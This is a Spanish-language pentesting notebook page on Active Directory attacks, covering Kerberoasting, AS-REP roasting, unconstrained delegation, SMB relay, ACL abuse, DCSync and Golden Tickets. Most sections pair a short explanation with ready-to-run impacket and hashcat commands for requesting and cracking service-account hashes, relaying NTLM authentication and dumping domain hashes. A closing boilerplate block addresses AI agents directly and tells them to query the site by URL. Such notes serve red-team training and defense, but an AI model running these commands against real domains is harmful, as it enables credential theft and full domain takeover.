# Attacks (Kerberoasting/DCSync)

![AD Banner](/files/RGlx3R5rVlyB4AYHvPvc)

> **"Identity is the new perimeter."**

Una vez dentro, el objetivo es escalar privilegios lateral y verticalmente hasta obtener el control total (Domain Admin).

## 🆔 Ataques de Identidad (Identity Attacks)

### 🏹 1. Kerberoasting (Service Accounts)

El ataque más rentable. Roba hashes de cuentas de servicio y crackéalos offline con tu GPU.

* **Target**: Usuarios con SPN (Service Principal Name).
* **Ejecución**:

  ```bash
  impacket-GetUserSPNs domain.local/user:pass -request -outputfile kerberoast.hashes
  ```
* **Cracking**: `hashcat -m 13100 kerberoast.hashes rockyou.txt`

```mermaid
sequenceDiagram
    participant Attacker
    participant DC as Domain Controller
    participant SQL as SQL Service

    Attacker->>DC: 1. Request TGS (Ticket Granting Service) for SQL Service
    DC-->>Attacker: 2. Sends TGS encrypted with SQL Service's NTLM Hash
    Note right of Attacker: TGS contains the hash needed to authenticate
    Attacker->>Attacker: 3. Offline Brute Force (Hashcat)
    Attacker->>SQL: 4. Authenticate using cracked password
```

### 🛡️ 2. AS-REP Roasting (No-PreAuth)

Si un usuario tiene activado "Do not require Kerberos preauthentication".

* **Ejecución**:

  ```bash
  impacket-GetNPUsers domain.local/ -usersfile users.txt -request
  ```

### 3. Unconstrained Delegation

Si comprometes una máquina con esta propiedad, puedes esperar a que un Admin se conecte y robar su TGT para siempre.

***

## 🏗️ Ataques de Infraestructura

### 🔄 4. SMB Relay (NtlmRelayx)

Si la firma SMB no es obligatoria (pasa mucho), retransmite la autenticación de una víctima a otra máquina para ejecutar comandos.

1. **Configura**: Desactiva SMB y HTTP en `Responder.conf`.
2. **Ejecuta**: `impacket-ntlmrelayx -tf targets.txt -smb2support`
3. **Espera**: A que alguien intente conectarse a ti.

### 📑 5. ACL Abuse (Access Control List)

A veces no necesitas ser Admin, solo necesitas tener permiso de `GenericWrite` sobre un objeto GPO o Usuario.

* **GenericWrite en Usuario**: Cambia su password o añade un SPN para Kerberoastarlo.
* **GenericWrite en GPO**: Crea una tarea programada maliciosa que se ejecute en toda la red.

***

## 👑 End Game: Domain Dominance

### 💀 6. DCSync (El botón de "Ganar")

Simula ser un Controlador de Dominio y pide que te repliquen los hashes. Requiere derechos `Replicating Directory Changes`.

```bash
impacket-secretsdump domain.local/user:pass@<DC_IP>
```

### 🎟️ 7. Golden Ticket

Crea un Ticket Granting Ticket (TGT) válido por 10 años, con el usuario que quieras, grupos que quieras. Indetectable si no se monitoriza.

* **Requisitos**: NTLM Hash de la cuenta `krbtgt` + SID del dominio.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://jotatito05.gitbook.io/la-bitacora-de-jotatito05/10.-active-directory/attacks.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
